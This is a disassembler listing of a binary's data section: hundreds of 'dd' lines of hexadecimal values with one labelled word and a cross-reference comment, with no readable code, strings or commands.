		dd 0BEAE711Eh, 0C477E680h, 1D290421h, 0B2789C00h, 8965E309h
		dd 27024C9h, 0A82D8024h, 0A72B3B1Bh, 0DA7920B9h, 69000A18h
		dd 923EB54Ch, 0C9D411F1h, 1777089h, 288C8BCEh, 968340C6h
		dd 1DCF7329h, 0B1451232h, 723AD128h, 704876B0h,	0A224829Ch
		dd 3B2CC493h, 14802888h, 4F5E6F4Ch, 80995475h, 0AB60D8A9h
		dd 70C32CCh, 7849F77Fh,	0A45800FFh, 0FE125340h,	8822BF2Ch
		dd 3FA1308Fh, 0B6739A08h, 405E6560h, 3DB93BBCh,	9902F8F1h
		dd 0CFC839C0h, 0BAEBE053h, 7FCD13EAh, 8CC02011h, 0B6007DC2h
		dd 0DB8629C5h, 0D96AD5h, 80C9F017h, 1CA0EE62h, 10489600h
		dd 0AB21A71Bh, 4B1702BEh, 337573A2h, 0BC2430E8h, 0EA36C017h
		dd 0EF495021h, 7A665D8h, 328755A9h, 0FCC8539Ah,	0DBC4C6F0h
		dd 68A71A17h, 0CE234C2Fh, 0E6A75707h, 5C7D6FE1h, 9C31074h
		dd 91FFCD17h, 675A7830h, 8E6F2411h, 4880ED88h, 0AC116792h
		dd 0BAEC01CFh, 0F74B99AAh, 57B860D7h, 0E051CD2Ah, 56225890h
		dd 349052E3h, 1530DFB2h, 0E726003Ch, 91E5D6DEh,	7E283380h
		dd 0FE0BAE37h, 9D897AEAh, 80DA9120h, 4058AE26h,	752EE0Ch
		dd 68A91F92h, 500E49FBh, 0EA450C91h, 30839C9h, 0BF3D9D79h
		dd 33AF56DFh, 292CE70Eh, 460118F2h, 0D0995303h,	0EA028141h
		dd 0FCF8B443h, 0C4D24490h, 47891C5Dh, 45919E80h, 47581570h
		dd 47EC8h, 3754DE81h, 0D70F6804h, 8B820A87h, 2EDC9971h
		dd 0B5026FF0h, 474BA2D8h, 0B710F822h, 134987E8h, 62381051h
		dd 0D6E6F499h, 0FC93F580h, 71921642h, 0C91F18EEh, 2200BF77h
		dd 3D3A5D41h, 29921B3Ch, 393C7BFFh, 6F026702h, 2019C7BEh
		dd 6794B210h, 0B4A11804h, 98A4938Bh, 149AF035h,	0B30F724Ah
		dd 782940Eh, 0BC22043Ch, 2148A257h, 4FBD0048h, 0D7C0EA32h
		dd 7704A1D5h, 5F9C3A0Fh, 1EBFC3A9h, 66A6A0AFh, 0BF607C9h
		dd 0C3ECAE20h, 0D3E09C6Ah, 0F51F8871h, 0F81E6DC2h, 8C818C0Eh
		dd 45108Fh, 2BCC7597h, 53445E0Bh, 7BD3F01Ch, 982292C4h
		dd 87648080h, 5B9D00E9h, 5FBFF5A2h, 0C2074797h,	0BE469C6Fh
		dd 95409A97h, 4C45B322h, 0EF00DEDCh, 147864DDh,	0B01D74A7h
		dd 3E09015Ch, 3D08EA5Bh, 29427D04h, 778F056h, 0D4F57573h
		dd 4FDC3078h, 0FE271971h, 9D8C8432h, 7F675661h,	94E54EA0h
		dd 8EB45048h, 7EA26703h, 0B81CC2B9h, 9492D541h,	0E63C8014h
		dd 72D980Fh, 7677E825h,	6ADC007Eh, 0AE3E1F2Fh, 0D1286004h
		dd 90B46574h, 1CF34441h, 1953F937h, 0CEF5C080h,	41D90103h
		dd 0BFA6FE13h, 0B805CF48h, 8DA7D186h, 0DE730CA2h, 0BE80FC39h
		dd 4ECDC924h, 7809BB75h, 0E56AF591h, 61BBC4DCh,	73E50CCBh
		dd 8A039039h, 0E51E0502h
		dd 12806005h, 30F4C8EAh, 0FDAE00F1h, 3A2AFE81h,	352A7150h
		dd 48B9B4D0h, 94182071h, 8BDA601Dh, 0F924A027h,	6C34AB4h
		dd 0ADFE4858h, 203D8888h, 0E0CC1FC2h, 0C14A1FC1h, 788CFD18h
		dd 0FB58C041h, 917EAB2Dh, 2418B734h, 4958C504h,	0E432D01Eh
		dd 0C4ECE720h, 3A0E83Ch, 0C148E3F4h, 6000D1C8h,	63787E33h
		dd 0C1C0FE10h, 88C14931h, 0A6208B9Ah, 0C45C4568h, 9C0064BCh
		dd 0E7E561B2h, 0AA59C9E8h, 0DEC4E0C5h, 1A712E60h, 8823CF39h
		dd 9CFE142Ah, 40D65204h, 9F75593Ch, 0F5076E3Eh,	44616BC5h
		dd 0F37DFEF1h, 7550B040h, 20396787h, 88ED906Ah,	71205E04h
		dd 245C72E9h, 3EB0BAAEh, 0F8F49814h, 0ECC22A0Ah, 0F6078184h
		dd 4012CF94h, 4CFD4794h, 0EC8A952h, 294E8B79h, 0E5740B55h
		dd 60DFE430h, 79474D72h, 58490408h, 0F43124F5h,	1600413Ch
		dd 6E9C64E3h, 1D08BAA9h, 2BB587Dh, 7B012234h, 5EF170F9h
		dd 0DDFAC419h, 8212F602h, 804FB729h, 55BB8CC8h,	0C5C92F4h
		dd 376A2389h, 8C9048E0h, 9D335E2Dh, 80ED11CCh, 3DCFCC75h
		dd 0E2DCFFA7h, 3D47E4C6h, 0C8D03566h, 31F66092h, 0BE3889D1h
		dd 33202307h, 0A000D22Dh, 0D783CC8Dh, 0DE409B20h, 0DED910C3h
		dd 4827E88Dh, 49603CCEh, 81BC29A4h, 1B892690h, 37C02085h
		dd 0FDCFC9Ch, 12F163EEh, 734B03BDh, 2100FC6Dh, 211A6C4Ah
		dd 495983h, 549F6FB8h, 7BFFA3B7h, 0A007C927h, 1C9294D4h
		dd 0F0D30FA7h, 9DB88Bh,	0A458AC1Dh, 6002EE73h, 5CB24FC4h
		dd 0E40C65A7h, 4A6D60B8h, 0CC854DD9h, 0A3B8904h, 0B6D8C8F3h
		dd 12273722h, 3E88D04Ch, 0F3437534h, 76E48F07h,	0F7931292h
		dd 0F684A7h, 0CF0B1A51h, 824B2A00h, 58A41499h, 0F27015h
		dd 0C943E702h, 4DAB24D8h, 4E2DD4ECh, 0A2E0A17Ah, 0D46C7C5Ah
		dd 964B2F80h, 4F2460C0h, 18301F2Ah, 7AF3128h, 0D826FE45h
		dd 0A2E13038h, 0A32C1B75h, 0D6092047h, 3472E7h,	2B07F52Dh
		dd 92E24C42h, 814D8C07h, 0F8C0FC47h, 915CBAAFh,	0ACFB068Ch
		dd 9A7A39C4h, 226CE458h, 90934B42h, 591BF0Ch, 0F700BE72h
		dd 0A1A28924h, 3FD8D1h,	0FDC5272Ah, 90B94A54h, 7DC49850h
		dd 0B34C05E2h, 0ECA929CCh, 0F418DA79h, 0C68B481Ch, 0FAA69301h
		dd 2180D07Fh, 0F517FC8Ch, 0B3E6714Eh, 3A970C3h,	38B2D511h
		dd 63043E2h, 2F3F0097h,	0FF7F0ACCh, 0DA4B37E7h,	0D0C8708Bh
		dd 64B25FC0h, 4F74CD5h,	0BCA5543Bh, 0DFE41CC5h,	0D4014561h
		dd 2E03C666h, 0C8BF541Fh, 6064D2DEh, 297D715Ch,	11B0637Ch
		dd 0C50380E2h, 58964957h, 0ECB0A8CEh, 657EC78Bh, 4C635104h
		dd 0B4A950BCh, 0D1C81118h, 773E927Ah, 0F4F8810Eh, 0F949E81h
		dd 30665870h, 0C2E187C5h, 71304A37h, 69079905h,	961B00DDh
		dd 3B280A82h, 0F62C061Ch, 0E611C4A5h, 9D159A80h, 87954Ah
		dd 0F11591C2h, 0ED090E60h, 52A7D45Eh, 0B0934C58h, 0B8F15080h
		dd 9900AF8Ah, 69DAF09Bh, 150A1017h, 0F437E543h,	0A9FACC05h
		dd 5BE4898Eh, 0F8FC8048h, 0EFBBFD70h, 154893E0h, 8489CD66h
		dd 0F09A6D0Bh, 391FC000h, 0AB48F91Ch, 8CA181ACh, 0D02248FBh
		dd 2556BB12h, 0D01EC0h,	3C5AA12Ah, 367A6D53h, 0C0E848D4h
		dd 0E996234Bh, 0AE4D0181h, 0F3EDF460h, 2742694h, 73A13FAAh
		dd 6067AEh, 53DE23Ch, 0D930754Eh, 795460C9h, 92E312E6h
		dd 1E34A429h, 25E5B801h, 8AABA81Bh, 1337ACD4h, 12D8CB67h
		dd 5A6403E4h, 0C1E41EA4h, 3A0F1BE8h, 0AAC81840h, 3BB69h
		dd 0F193571Ch, 0D36EE517h, 787C4026h, 0E7B88CE0h, 0EBE1C0BAh
		dd 0BBA0ADCEh, 0C528F909h, 0C35187C6h, 0AF920307h, 44668Bh
		dd 3796FEC1h, 9BCBC0A9h, 0DE56BA1Dh, 0AC6CDC00h, 16498E8Dh
		dd 4A98250h, 0A4114C30h, 4100CDA8h, 955EAF8Bh, 1988E2h
		dd 0A110823Fh, 994D6122h, 245E100h, 0B1BA4E53h,	909D97EAh
		dd 0F4806511h, 90ABCACFh, 43040A7Bh, 0AAFDDEC2h, 0F8B54C1h
		dd 4881D460h, 0A02F9862h, 97912497h, 6F11DC80h,	0A2041CEDh
		dd 0EA8C4DA0h, 179C90C8h, 0FC83C5Ch, 2C294412h,	6203E600h
		dd 56095A72h, 10CDF3A1h, 2464AF34h, 264EDB9h, 0C88BC2DCh
		dd 215E6456h, 6480F265h, 3433A5FDh, 0CAC03BBh, 2BBE2149h
		dd 0F50880C5h, 1445263Ch, 0E0E28822h, 0C170BB30h, 7E8E21F6h
		dd 0BEF0E0E5h, 7C383859h, 4CD02095h, 22A98Bh, 0EADA4D74h
		dd 52065541h, 63B42E1Ch, 0F4766684h, 5EB808ACh,	180E48Ch
		dd 77EA756Ch, 7D54D4C6h, 0A57B0E28h, 8A8F57Dh, 8D009FCh
		dd 0C93307FAh, 5F72D8BCh, 0B210D2C1h, 30A3F2A8h, 130F8095h
		dd 0DFAED5FDh, 4A185240h, 0A2CD5CC1h, 0F8896084h, 9080B8D8h
		dd 0BEC207BEh, 0C0D45B8Ah, 210DD16Ch, 2148A24Ch, 89A2BB84h
		dd 39229217h, 5F10903Ah, 6A76C0F2h, 3B476D1Eh, 0A080C550h
		dd 424CA706h, 85071C33h, 1FBC75ACh, 8C4C02FBh, 0C18CCDAAh
		dd 20B0A7FCh, 2F0290D0h, 0D94A24E8h, 71344865h,	25962045h
		dd 928CA000h, 624FBA48h, 0D64A1222h, 0DCF2D2h, 0B460137Ah
		dd 72829B67h, 864600F4h, 325754C4h, 50D22A87h, 0A85DBA0Ah
		dd 627BB804h, 47B8C0BDh, 8BC8B00h, 5DCABB1Bh, 8931019Dh
		dd 0DDD7C212h, 6EE9CF1Ah, 28689243h, 164B8B4h, 0DA9503A6h
		dd 0F8885D11h, 766E2098h, 4A3B1FD4h, 0DCB2F053h, 0E20EC103h
		dd 6200FD41h, 0A662C8EBh, 96A725CFh, 0DD465CECh, 9377F709h
		dd 5B5DFC48h, 8FCFE500h, 160C6456h, 8E51032Bh, 7E4107ECh
		dd 0FB703850h, 0F18C8209h, 0D10C5986h, 0E8E118D9h, 0EDFF02B1h
		dd 0F6CD4EEAh, 0DD47B0C9h, 0AEBC6425h, 39828D06h, 6A1CE38h
		dd 2852D122h, 6FEC108Ah, 0F44D2B4Fh, 0C7F06154h, 52D31779h
		dd 0F32822D0h, 0D2F64E20h, 536B0128h, 0E7928B11h, 0BD3980B6h
		dd 6015A35Fh, 3F70029h,	0DF2342ABh, 0CE00F8ECh,	85F95B69h
		dd 412A5B2h, 4CA1BAADh,	0ACFCE990h, 342700BEh, 77F0AE58h
		dd 75144D8Ch, 480F3D1h,	0D08A04A5h, 0BEAD1A01h,	0CFAC92C7h
		dd 0E6B00040h, 75D2F27h, 1F022E31h, 5E2042E1h, 64E5FDC1h
		dd 4A33F8FCh, 587CD9CBh, 0B076A110h, 0CA282AB8h, 90C37F8Ch
		dd 3497AACh, 2DB829F2h,	9FA224E5h, 0F1445C58h, 38C900E3h
		dd 994F4BABh, 2AE49E52h, 0FB49D560h, 207D760h, 0E3371D35h
		dd 0B4CCFE70h, 80309248h, 0C360D725h, 12BF1D36h, 0FE1F00A4h
		dd 0BBD9D882h, 3CC8714Ah, 0C474847Eh, 0D8B9CC90h, 0FF18BB71h
		dd 0D7BDBA02h, 0E7C860B2h, 602744ACh, 90E41DCAh, 649A9F30h
		dd 749600E6h, 8E1AB90Fh, 2919994Ah, 0C3024022h,	0A653A3FEh
		dd 0C4669861h, 0A0B0F3D7h, 7096C67Ch, 0CBBA2702h, 834DA7Ch
		dd 0F431FE47h, 0EB6609B9h, 0D198F978h, 91818B9h, 11983930h
		dd 0A5FE6868h, 0A9AED8F7h, 0BAA17000h, 0B8F5075Dh, 0E42E008Bh
		dd 929C5EF3h, 0ED32664Ah, 0C1548886h, 8880EE62h, 741A761Fh
		dd 889083F1h, 85A1EF2Dh, 3C88CBB0h, 6F10E94Dh, 0F44CA62Dh
		dd 0FBA01680h, 19E39C1Dh, 366A99D7h, 6040E7C0h,	2E26167h
		dd 0B43AF4C6h, 30D6509Eh, 7570846Bh, 0D11FDCE9h, 87D94F0h
		dd 4A45A16h, 44BC479Ch,	9B40D529h, 15DBA246h, 0D3FB4B1Fh
		dd 254DC0Bh, 89C514BEh,	0AC058E0h, 0C97EFC2Fh, 0F4574280h
		dd 0B65C8F29h, 93F35087h, 53193DEFh, 1CA33228h,	84172E72h
		dd 804E0E10h, 0AC218C28h, 3B564709h, 7B08A4F8h,	0C2CBCE1h
		dd 0E8CDDECh, 0A572DBF4h, 0EE4C82Ah, 0B6761101h, 42E6B014h
		dd 21D30BA4h, 5405877Eh
		dd 0F244A253h, 16A53025h, 23892801h, 5FD2A312h,	0A8A49845h
		dd 46F9EBA0h, 0A6098839h, 0FCE8BABFh, 8C1FC75Bh, 26404632h
		dd 80CDE872h, 75790914h, 34300655h, 9428FC48h, 0A87B904Fh
		dd 421575EAh, 26846E91h, 0F41F14D8h, 4EA37187h,	69AF36h
		dd 0D8B54272h, 903E293Ch, 6BB2E300h, 8AB6C4B0h,	1D807A2Dh
		dd 0C33187C0h, 44D8054Fh, 0AD56A490h, 3D1D55E0h, 64002745h
		dd 3711D119h, 0BB207E8h, 80CA701Fh, 127BBF03h, 89F0071Fh
		dd 3D818D9Eh, 0D86CD76Dh, 0F5BBBC8h, 0DC34E41Eh, 42C850A0h
		dd 9300CA69h, 3D250248h, 0C99814h, 0D70F7FABh, 520E7E8Bh
		dd 0A08238BAh, 0FA2138C1h, 621F24C4h, 34C794C6h, 16001327h
		dd 97A8B82h, 5F50F331h,	9511B89Dh, 791D3B80h, 0B2047127h
		dd 29116605h, 0DD6868D0h, 0E8B77014h, 0A17D1072h, 4E450ED6h
		dd 7009D231h, 0C24C45EDh, 8318F327h, 4845FA9Dh,	9097DCD6h
		dd 11F7E9F8h, 13A31600h, 6ECC2530h, 24B1C4A9h, 30A0E52Ah
		dd 9100574Fh, 0A8616BDBh, 76B6D7h, 4F2A4CE2h, 7382B298h
		dd 0C68178B1h, 176C2261h, 0C056D343h, 48121FB9h, 0DE12629Bh
		dd 265C032Ch, 33C89D57h, 844CFBF2h, 0F5D0DD0Ch,	48B22D87h
		dd 0CCE1EE01h, 0A026A2FFh, 1B682101h, 7CE5366Fh, 79B3A0E4h
		dd 41750267h, 422148F9h, 0A02C9CF8h, 2DDC9868h,	20448BD9h
		dd 0BE90AF00h, 3A5BCC4Eh, 84DE001Ch, 0A896633Fh, 0D40B321Ah
		dd 71A72693h, 18DA7180h, 486E00E9h, 8A1A297Ch, 0A104B792h
		dd 0F60E6D7Bh, 93F0C80h, 80FB29DDh, 0F471889Ch,	484A25BEh
		dd 5C98CE4h, 49504082h,	0FF18B461h, 9C9A4C77h, 7CD0924Eh
		dd 3C4E11DEh, 75020647h, 0A73C8221h, 0DE716051h, 4C32B518h
		dd 22CFA0D5h, 38C3BEC9h, 0BA5D800Eh, 60D51D41h,	96D43CC0h
		dd 90E02658h, 0F9AB1289h, 0C9E4C085h, 4C91C56Fh, 12DC0100h
		dd 0BC8C7BB4h, 792142A8h, 0C04F987Ch, 0FE037EDBh, 77580350h
		dd 0E62B1F33h, 4BCE76B8h, 1C0B815Eh, 11A81DDAh,	0BA9780BCh
		dd 12510D7Eh, 0B4604DD4h, 9A637D84h, 0B7E729h, 3905B1F9h
		dd 0F8BDE0BBh, 0CED54A00h, 57C8DFB6h, 0DC03079Ch, 0CCE99F4Bh
		dd 100CF31h, 8B32481Ah,	1B1AB30h, 0BF0702F3h, 42A9FB8Ah
		dd 90F2292Ch, 5F96FF00h, 7C4D8339h, 3F0705BFh, 0C086A6D2h
		dd 8137C550h, 0EC64454Fh, 68B770E2h, 4FD1E9C0h,	200C0EBCh
		dd 23431F58h, 0F588B9A7h, 111703A6h, 0B8C987E3h, 0EA88D44Bh
		dd 8CFED9C0h, 0FD030605h, 0F084D246h, 0CB22DD42h, 0D6714900h
		dd 0DF57DCD3h, 1F061644h, 0A859E0FAh, 17146CEBh, 242792E0h
		dd 0D439C450h, 0CFE4006Ah, 10EEB428h, 0B9257619h, 131C60D3h
		dd 35273972h, 7C6C494Fh, 2B9EB059h, 2FBD4F20h, 6523A0h
		dd 378F7198h, 0AD02B2BEh, 39D948C4h, 0D480625Dh, 504B406Ch
		dd 1200606Ch, 1566D05h,	7364B475h, 0A98612B9h, 0E298A268h
		dd 88B630CEh, 1080402Fh, 0F25F2270h, 0F5C358E6h, 619AB807h
		dd 2BC7F058h, 0AE2C6D53h, 0A84F40E2h, 3314F6F8h, 80A01150h
		dd 7A7B0B72h, 5387063Ch, 68CCAD7Dh, 0E5FE4708h,	39F40284h
		dd 0E0E5A72Bh, 8060B8E4h, 0D926494Ah, 870934A5h, 0E4FCC542h
		dd 0BA4760E3h, 613C76FCh, 0A72719BBh, 0E255607Dh, 1EE19802h
		dd 8151463Fh, 2A22A8C6h, 2700682Dh, 4A8FD453h, 5F009DD3h
		dd 0ADB49E7Fh, 3F41C5BEh, 0CB5EC2A2h, 0CEDC8800h, 48D4809Ch
		dd 0BD9E6396h, 0F5AD1A05h, 0A89030E8h, 4C2C91DFh, 252DF034h
		dd 0D9E4B8C5h, 0CDC05A63h, 0B4173AACh, 8A46EC9h, 0C4D899B7h
		dd 8A10B080h, 958C8F38h, 58F4C711h, 0D5E70075h,	0E003BBC4h
		dd 0D3710955h, 488549A8h, 0B870BC90h, 8E008CEDh, 94D5FE4Ch
		dd 0CA2C015h
		db 10h,	7
word_505446	dw 41D4h		; DATA XREF: ___:off_435710o
		dd 80022CC1h, 49664892h, 540D825h, 5378B731h, 50BCA24Bh
		dd 0C748C50Fh, 94B60B10h, 53242592h, 0D8D9D4E5h, 84552E1h
		dd 26D0F8B4h, 50F09709h, 0C607CC51h, 22DCDF02h,	4C1C9900h
		dd 0FFB40077h, 2473EA71h, 0AB955588h, 0E4C0C5F8h, 0FCCF60E3h
		dd 47050972h, 7CCAD15Eh, 6A4AD0E4h, 9888308Bh, 0FCF119C1h
		dd 70AEB20h, 496F3A8Fh,	82A0AA4Eh, 0BE4D71E3h, 2A079C5Eh
		dd 0C684720Bh, 25283CB0h, 30418DF2h, 182C3208h,	0B7B9D2E7h
		dd 0DC370FDFh, 7DA1BC4Ah, 781049A0h, 8CE5E880h,	0DEAC520Bh
		dd 3B00D58Ah, 6E148488h, 17808CBEh, 0C5459CCFh,	7635007Fh
		dd 2AFAB119h, 0B90014BEh, 794F3DA4h, 0C0CD0EE6h, 11CB1EA9h
		dd 7A00D4BFh, 7E8C8D1Fh, 23F83Eh, 260EB31h, 24D8CB73h
		dd 862F1h, 7141B265h, 74CA134h,	1FB5D401h, 0B8E4E497h
		dd 22620570h, 0BCA3C939h, 3A75427Bh, 0F97E3795h, 2CE6EE84h
		dd 0FAA953B0h, 6E0BCB16h, 0FFB10893h, 6F48180h,	2CC67DD1h
		dd 74F4C7FEh, 97A4446h,	0F7C7B6ECh, 9A2D3083h, 40C4C0FDh
		dd 0DD0ED99Bh, 72A6ECE9h, 965F8020h, 32DF00F1h,	3C1A83EDh
		dd 0E52F5DF7h, 49FC12h,	47F18624h, 0F248514Eh, 0A57A042Ch
		dd 0FCC1CE59h, 48F34A20h, 46022481h, 0E87AEB4Eh, 0F8FE38C2h
		dd 0FE06E8D6h, 0E3BE0F42h, 86A6A981h, 720978FDh, 45AA0292h
		dd 60E5C4C8h, 17A9985h,	0FF5BB883h, 0F5456AA1h,	0FB80343Fh
		dd 31D34633h, 2630B88Ch, 97C3EA21h, 0D7AD78B0h,	29336Fh
		dd 0A8E6071Fh, 8C904Fh,	0B0E462FFh, 86CD5CD1h, 68D0D54Eh
		dd 547D6F44h, 0D30DC492h, 0B1CC0440h, 803109D2h, 38C22BA4h
		dd 0B028B88Ch, 26FE72C8h, 8814E5C3h, 940E3D57h,	59B7C555h
		dd 1B674C0h, 0C02D7C5Eh, 0D32E5C48h, 0F05593A0h, 0A66C20C8h
		dd 3351EF01h, 0EE8DAAFBh, 8544A031h, 0D802A084h, 0FEC0E7FEh
		dd 5F217600h, 0E4A780F2h, 0E3EA16FAh, 7DD0B500h, 5E4A92A3h
		dd 98EE6BCDh, 803ABCD1h, 0EB46025Dh, 0E7B44Fh, 0CC5075C3h
		dd 4A064540h, 0A702F4A8h, 0DEEA2206h, 0FCA8B9F5h, 79F977F3h
		dd 16745F7Ah, 0DE543134h, 1702D86Ah, 4AF0AEE4h,	0FC602F0Fh
		dd 0B8AE0FBh, 79E7DB6Ch, 94D5A41h, 3C56C55Ch, 0CB802F9Eh
		dd 53A1B582h, 0DF512875h, 0A9E025DCh, 0E5119C97h, 304A6A80h
		dd 9C014FE4h, 0C5DAB24Ch, 0A8A5CB6Dh, 0E1D11C51h, 6D04FF18h
		dd 8735AD21h, 194420AEh, 9B26E0C5h, 0DC00AE4Ch,	64EE3209h
		dd 139003Dh, 7D85FB31h,	0D0C4C571h, 60FC291Ch, 23A82E96h
		dd 0FF5500DAh, 0E137D8AEh, 0B7869F24h, 6CC05D13h, 0EC5388ADh
		dd 3CCA1D5h, 731C2479h,	80DD58A5h, 6D494E69h, 0A07A2608h
		dd 365467Eh, 0BA7F1857h, 77ECB0EEh, 0A62D00BDh,	0F57927C1h
		dd 7E7A5653h, 75D068C5h, 10C738E4h, 0BFB1D64h, 0F0A28BE3h
		dd 768273B0h, 0B54358F4h, 0A183CC00h, 0CA1A854Dh, 3C13B8D6h
		dd 9CC8EC03h, 7C890194h, 123681ADh, 54743079h, 4CF7072Ch
		dd 0DC2B94A4h, 3E562108h, 0FC24A815h, 44D51F02h, 0F874F468h
		dd 0F329215Ch, 273B2E9Ch, 91EC1747h, 0F09581DDh, 0C9801E92h
		dd 8F5F8D4Bh, 0CB02E6A2h, 5D0F20B5h, 9860559Fh,	67007461h
		dd 7C92B24Ah, 31EBAAEh,	38FB8AB5h, 0D2F8DAD7h, 0C925891Fh
		dd 0C3E04A07h, 0EDD19EBCh, 4C40F2E6h, 0FF775CB8h, 0F4F6CC02h
		dd 1DC465Ch, 0C8A52607h, 0F1F4C139h, 0C01D5A4Eh, 0A62389C4h
		dd 4048385Eh, 59B38FF7h, 0D8A81120h, 14799791h,	0E3009CD2h
		dd 4B6CEBEDh, 0CECBA96h, 0C899DEF1h, 0D312A650h, 0CCE27D6Ah
		dd 0F9766C00h, 0A217A48Ah, 0E2825303h, 0E0748E5Eh, 0F6492C14h
		dd 0AE8834F8h, 4E348231h, 14B46072h, 1417A340h,	0A03705AEh
		dd 0B95D6EF8h, 0E86C4C38h, 74008CE0h, 1EA7C3F6h, 17DF18F7h
		dd 8C4FBADDh, 364066CCh, 58571454h, 0FB12C04Dh,	291CD2ACh
		dd 4800A464h, 578D885Ch, 0EAABF9CAh, 45EF0073h,	1D6BBBA5h
		dd 9304B7F7h, 0AD7572D8h, 147BCE0h, 4D717B89h, 601429FAh
		dd 814B7270h, 24BB6880h, 71DE25C2h, 4890D800h, 8B18F602h
		dd 0EA81CCE7h, 13A0F47h, 98B44EBCh, 0C11CE29Ch,	1781A8Fh
		dd 0D1E32B65h, 2C00383Ah, 0E494B88Ch, 15922540h, 0B22E0036h
		dd 7A19C74Bh, 82005A34h, 3D2CDB94h, 9FD431B6h, 389CE494h
		dd 831C2801h, 40E2A0DDh, 41CD4C64h, 2294F089h, 790DBDA0h
		dd 541B7D24h, 0E648FB41h, 0E344222Bh, 84C8876h,	8C9112h
		dd 0CA672542h, 0EF077274h, 0FBB8E499h, 4A45540h, 49C30594h
		dd 0A0BB7971h, 0FC10C9F0h, 800BE169h, 1C623E85h, 73807829h
		dd 60FF325Fh, 53861900h, 0C8A7E967h, 9E2902DFh,	0C333F531h
		dd 39DABC43h, 0D3FC040Bh, 0BBAFC240h, 0EB3A814Ch, 9D5013A2h
		dd 0E64A44F2h, 56EAA004h, 0E9E739DEh, 0C8FF7998h, 0E4AA1B11h
		dd 9168975Dh, 0AC2C80A3h, 7FF71123h, 5F33021Eh,	73CBB981h
		dd 0FF161044h, 5CB0F1FCh, 0D0A0C354h, 49E61BE6h, 6F416309h
		dd 93CAB40h, 127385C4h,	0A618A4ADh, 280E1932h, 45701442h
		dd 4920AD33h, 4C3C4DBCh, 0BA7E300Bh, 2B16D450h,	80E57619h
		dd 5320416Fh, 60750C4Eh, 4867210h, 0C6BBD763h, 0ACA0E965h
		dd 0C16C0050h, 0ADD61217h, 47059E72h, 0B1754DBDh, 0F80EA0B8h
		dd 0D2090243h, 465EDC76h, 579C00DFh, 1DCBFCC0h,	0D14B13F4h
		dd 53E823A6h, 0B42B682Ch, 0D9502402h, 8F07Dh, 0F62C19FBh
		dd 7BCE548Fh, 48F0F0B3h, 4E7D0036h, 496CFE51h, 0F35A18A8h
		dd 2A81689Bh, 0CD93A1BAh, 34FCF2FFh, 7D71D475h,	0FA58202h
		dd 600390FEh, 78A84238h, 0C540070Eh, 34DED019h,	74773236h
		dd 11604EF8h, 0B4C91914h, 3F005575h, 0B6F10A86h, 7C0CD8FAh
		dd 1D8B8D4h, 5E1C60EFh,	6ABC846Ah, 4D6FE020h, 3908B472h
		dd 42362293h, 0CD45FB88h, 1753E854h, 53DCBA30h,	302C3628h
		dd 5011D142h, 22921D88h, 0ABA00B18h, 47B00490h,	0A09E714Eh
		dd 62C6D9Ch, 0EB916CB7h, 0AC14C43Fh, 4881842Dh,	407E07D8h
		dd 0C51A2708h, 0AE561F3Dh, 0F84684Ah, 38C09DD4h, 13798301h
		dd 3517DA5h, 32A756C8h,	7BE781E7h, 15A1D4C5h, 822D7213h
		dd 7634F0h, 3CBCCABEh, 4E45AD2Bh, 0A0A53835h, 1194C8h
		dd 0FFE08042h, 0D9D1B5B2h, 4047FB00h, 203136DCh, 60820167h
		dd 567D70C5h, 33A8422Bh, 300078FAh, 0D19EAE25h,	5B64E2h
		dd 69774295h, 0EF172AE7h, 8F40D89Ch, 606ABA39h,	10D6CE72h
		dd 3069773h, 2E2A4DADh,	0BB400B58h, 80017201h, 38F66745h
		dd 804F0BC8h, 7DE400ACh, 44EB28Bh, 649AA83h, 0FAD4B076h
		dd 39224300h, 4DD49689h, 71288F1h, 8FECE800h, 0ACDC3F09h
		dd 4A730531h, 86044221h, 0D0001884h, 5070C4EEh,	808CE8C1h
		dd 0BB240171h, 741685Ch, 0B74126EAh, 0EC40E179h, 71C8987h
		dd 0C85B4496h, 0FC86D46Eh, 4DA02448h, 4490AB12h, 304015ACh
		dd 7411F5E7h, 0AD073FA5h, 43930EBEh, 6CCD2A10h,	2676001Eh
		dd 854D6E1Fh, 2092B6F2h, 8B79A600h, 69CE8F04h, 1E3800E5h
		dd 7EE6A861h, 4C017845h, 6C6F09E1h, 97E0C610h, 32EA00D1h
		dd 0EED72702h, 9D006B1Dh, 7DDB88B2h, 0FBDAE6h, 15F2B159h
		dd 0A69AA186h, 3C0EAF02h, 0C3FCB674h, 613FB86Dh, 7CB07854h
		dd 9A760E3Bh, 2CA5BCA0h, 38206CDCh, 0DD420h, 36D5BB73h
		dd 0AF977B71h, 54573107h, 0D71B330h, 0C7F0729Bh, 810C1D85h
		dd 71E14064h, 0CAD65E3Ch, 2038D868h, 108029E6h,	42EE115Eh
		dd 7C490014h, 0B268E10Eh
		dd 9438006Bh, 8EF4FFCCh, 339980Bh, 36408073h, 0B40FC001h
		dd 0B33D15BAh, 86534AFh, 3E804776h, 87D6E8AEh, 5DA6C0A0h
		dd 7BFEAF8Eh, 38F5500h,	3783B4A9h, 69E10102h, 0AA59CDC8h
		dd 8F2FE89Ah, 88CFF100h, 9BCE520Ah, 0C8100B8h, 0D0A5661Dh
		dd 83F40EC6h, 0EF460819h, 7088629h, 44A22344h, 0F6453E0Fh
		dd 0FC0610C6h, 848E6540h, 9E88987Ah, 0F69D88B9h, 3C41AA89h
		dd 212FB4Eh, 6FFD1482h,	2A213624h, 0B613DAh, 465CA679h
		dd 44029298h, 39A8FD00h, 959EFF3Bh, 0E56300B1h,	3864B096h
		dd 0C30A16E7h, 42F595Fh, 376DAD00h, 729FFC1h, 0B8DCB296h
		dd 0E0D6804Fh, 61027E52h, 0D24563ABh, 0F88663A5h, 35A6943h
		dd 0CAE2C853h, 0A7E93CAEh, 0B77D3081h, 9DA60500h, 0F21F58AFh
		dd 0B9D9001Ch, 3872AC01h, 6C0056D7h, 91F8C4CFh,	0BB4768h
		dd 0E2AE95B1h, 0C1859869h, 9CC0B200h, 0ADCD383Ah, 1117483h
		dd 446A10BCh, 0ECDA93F9h, 79FE3B37h, 83F38203h,	0C86733C3h
		dd 0CE68D4Ch, 0B16FDC5Bh, 0BD0080C0h, 0CB046D48h, 6857D2h
		dd 9E889B97h, 2196B937h, 80FA473Bh, 0E270DF60h,	1EA6483h
		dd 928D4463h, 460CFE94h, 3B0781A7h, 0F131DC06h,	174826F1h
		dd 0BDF7BECh, 550CE511h, 57733900h, 0E900125Fh,	3D30CBF1h
		dd 707DB2h, 909AD191h, 0AE2E5AE6h, 0AB67D700h, 0ED2A2D78h
		dd 24C80028h, 0B5A93D91h, 7B00DAFFh, 3FFD85BEh,	0D0AE5Eh
